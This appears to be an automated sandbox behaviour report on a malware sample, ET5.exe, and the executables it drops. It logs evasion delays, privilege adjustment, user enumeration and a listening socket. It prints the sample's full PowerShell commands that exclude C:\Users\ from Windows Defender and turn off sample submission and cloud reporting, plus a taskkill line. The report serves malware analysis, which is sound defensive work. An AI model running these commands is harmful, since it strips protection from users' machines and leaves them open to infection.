graph_11-10214

Source: C:\Users\user\Desktop\ET5.exe TID: 6468	Thread sleep time: -32520000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1532	Thread sleep count: 7085 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1532	Thread sleep count: 2656 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 320	Thread sleep time: -6456360425798339s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6352	Thread sleep count: 6702 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6488	Thread sleep count: 2980 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4768	Thread sleep time: -6456360425798339s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1440	Thread sleep count: 5903 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5768	Thread sleep count: 3867 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6768	Thread sleep time: -4611686018427385s >= -30000s	Jump to behavior
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe TID: 5160	Thread sleep count: 163 > 30
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe TID: 5160	Thread sleep time: -81500s >= -30000s
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe TID: 1680	Thread sleep count: 181 > 30
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe TID: 1680	Thread sleep time: -90500s >= -30000s
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe TID: 5464	Thread sleep count: 85 > 30
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe TID: 1848	Thread sleep count: 3609 > 30
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe TID: 1848	Thread sleep time: -10827000s >= -30000s
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe TID: 1848	Thread sleep count: 4778 > 30
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe TID: 1848	Thread sleep time: -14334000s >= -30000s

Source: C:\Users\user\Desktop\ET5.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\08070809	Jump to behavior
Source: C:\Users\user\Desktop\ET5.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\04070809	Jump to behavior
Source: C:\Users\user\Desktop\ET5.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\08070809	Jump to behavior
Source: C:\Users\user\Desktop\ET5.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\04070809	Jump to behavior

Source: C:\Users\user\Desktop\ET5.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\hstmhco83f64lehv4q0wbzqj3o.exe	Code function: 11_2_00007FF704893DB3 FindNextFileA,strcpy,FindFirstFileA,GetLastError,GetLastError,FindClose,	11_2_00007FF704893DB3
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 22_2_00007FF708871CF3 FindNextFileA,_mbscpy,FindFirstFileA,GetLastError,GetLastError,FindClose,	22_2_00007FF708871CF3
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 22_2_00007FF8B9156233 FindNextFileA,strcpy,FindFirstFileA,GetLastError,GetLastError,FindClose,	22_2_00007FF8B9156233
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 22_2_00007FF8B918B333 FindNextFileA,strcpy,FindFirstFileA,GetLastError,GetLastError,FindClose,	22_2_00007FF8B918B333
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 22_2_00007FF8BA504013 FindNextFileA,strcpy,FindFirstFileA,GetLastError,GetLastError,FindClose,	22_2_00007FF8BA504013
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 22_2_00007FF8BFAB31F3 FindNextFileA,strcpy,FindFirstFileA,GetLastError,GetLastError,FindClose,	22_2_00007FF8BFAB31F3
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 22_2_00007FF8BFB55013 FindNextFileA,strcpy,FindFirstFileA,GetLastError,GetLastError,FindClose,	22_2_00007FF8BFB55013
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 22_2_00007FF8BFB857B3 FindNextFileA,strcpy,FindFirstFileA,GetLastError,GetLastError,FindClose,	22_2_00007FF8BFB857B3

Source: C:\Users\user\Desktop\ET5.exe	Thread delayed: delay time: 120000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: main.exe, 00000016.00000002.4540383274.000001B9FFCDC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll80
Source: ET5.exe, 00000002.00000002.4527793606.0000000001697000.00000004.00000020.00020000.00000000.sdmp, j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe, 0000000A.00000002.2415604789.0000029EDA313000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000016.00000003.2357216162.000001B9FFCFB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\ET5.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\hstmhco83f64lehv4q0wbzqj3o.exe

Code function: 11_2_00007FF70489FF1F GetModuleHandleW,GetProcAddress,GetProcAddress,LoadLibraryW,GetProcAddress,

11_2_00007FF70489FF1F

Source: C:\Users\user\AppData\Local\Temp\hstmhco83f64lehv4q0wbzqj3o.exe

Code function: 11_2_00007FF7048945D5 fopen,_fsopen,fseek,_errno,_errno,_errno,_errno,_errno,_errno,_errno,_errno,ftell,_errno,_errno,_errno,_errno,fseek,fread,_errno,_errno,_errno,_errno,GetProcessHeap,HeapAlloc,_errno,_errno,_errno,_errno,GetProcessHeap,HeapFree,fclose,

11_2_00007FF7048945D5

Source: C:\Users\user\Desktop\ET5.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\hstmhco83f64lehv4q0wbzqj3o.exe	Code function: 11_2_00007FF704891131 Sleep,Sleep,_amsg_exit,_initterm,_initterm,SetUnhandledExceptionFilter,malloc,strlen,malloc,_cexit,	11_2_00007FF704891131
Source: C:\Users\user\AppData\Local\Temp\hstmhco83f64lehv4q0wbzqj3o.exe	Code function: 11_2_00007FF7048A05D9 SetUnhandledExceptionFilter,	11_2_00007FF7048A05D9
Source: C:\Users\user\AppData\Local\Temp\hstmhco83f64lehv4q0wbzqj3o.exe	Code function: 11_2_00007FF7048AB6B8 QueryFullProcessImageNameW,SetFileAttributesA,SetUnhandledExceptionFilter,TlsGetValue,VirtualProtect,	11_2_00007FF7048AB6B8
Source: C:\Users\user\AppData\Local\Temp\hstmhco83f64lehv4q0wbzqj3o.exe	Code function: 11_2_00007FF7048AB668 IsDBCSLeadByteEx,OpenProcess,QueryFullProcessImageNameW,SetFileAttributesA,SetUnhandledExceptionFilter,TlsGetValue,VirtualProtect,WideCharToMultiByte,	11_2_00007FF7048AB668
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 22_2_00007FF708871131 Sleep,Sleep,_amsg_exit,_initterm,_initterm,SetUnhandledExceptionFilter,malloc,strlen,malloc,_cexit,	22_2_00007FF708871131

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoLogo -Command "Add-MpPreference -ExclusionPath 'C:\Users\'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoLogo -Command "Add-MpPreference -ExclusionPath 'C:\Users\'"			Jump to behavior

Modifies Windows Defender protection settings

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoLogo -Command "Set-MpPreference -SubmitSamplesConsent NeverSend"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoLogo -Command "Set-MpPreference -MAPSReporting 0"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoLogo -Command "Set-MpPreference -SubmitSamplesConsent NeverSend"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoLogo -Command "Set-MpPreference -MAPSReporting 0"	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\hstmhco83f64lehv4q0wbzqj3o.exe

11_2_00007FF70489292E

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoLogo -Command "Set-MpPreference -SubmitSamplesConsent NeverSend"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoLogo -Command "Set-MpPreference -MAPSReporting 0"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoLogo -Command "Add-MpPreference -ExclusionPath 'C:\Users\'"	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe

Process created: C:\Windows\System32\taskkill.exe taskkill.exe /F /FI "SERVICES eq RDP-Controller"

Jump to behavior

Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\hstmhco83f64lehv4q0wbzqj3o.exe

Code function: 11_2_00007FF704896FD5 GetSystemTimeAsFileTime,

11_2_00007FF704896FD5

Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe

Code function: 22_2_00007FF8B91538C3 LocalAlloc,wcsncpy,LookupAccountNameW,GetLastError,GetLastError,LocalAlloc,LookupAccountNameW,LocalFree,GetLastError,ConvertSidToStringSidA,GetLastError,wcslen,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapAlloc,NetApiBufferFree,NetUserEnum,GetProcessHeap,HeapAlloc,memcpy,GetProcessHeap,HeapFree,

22_2_00007FF8B91538C3

Source: C:\Users\user\AppData\Local\Temp\j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: hstmhco83f64lehv4q0wbzqj3o.exe, 0000000B.00000002.2315787188.0000021576038000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: MsMpEng.exe

Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 22_2_00007FF8B91709A8 listen,	22_2_00007FF8B91709A8
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 22_2_00007FF8B915240A socket,htonl,htons,bind,listen,WSAGetLastError,WSAGetLastError,WSAGetLastError,	22_2_00007FF8B915240A
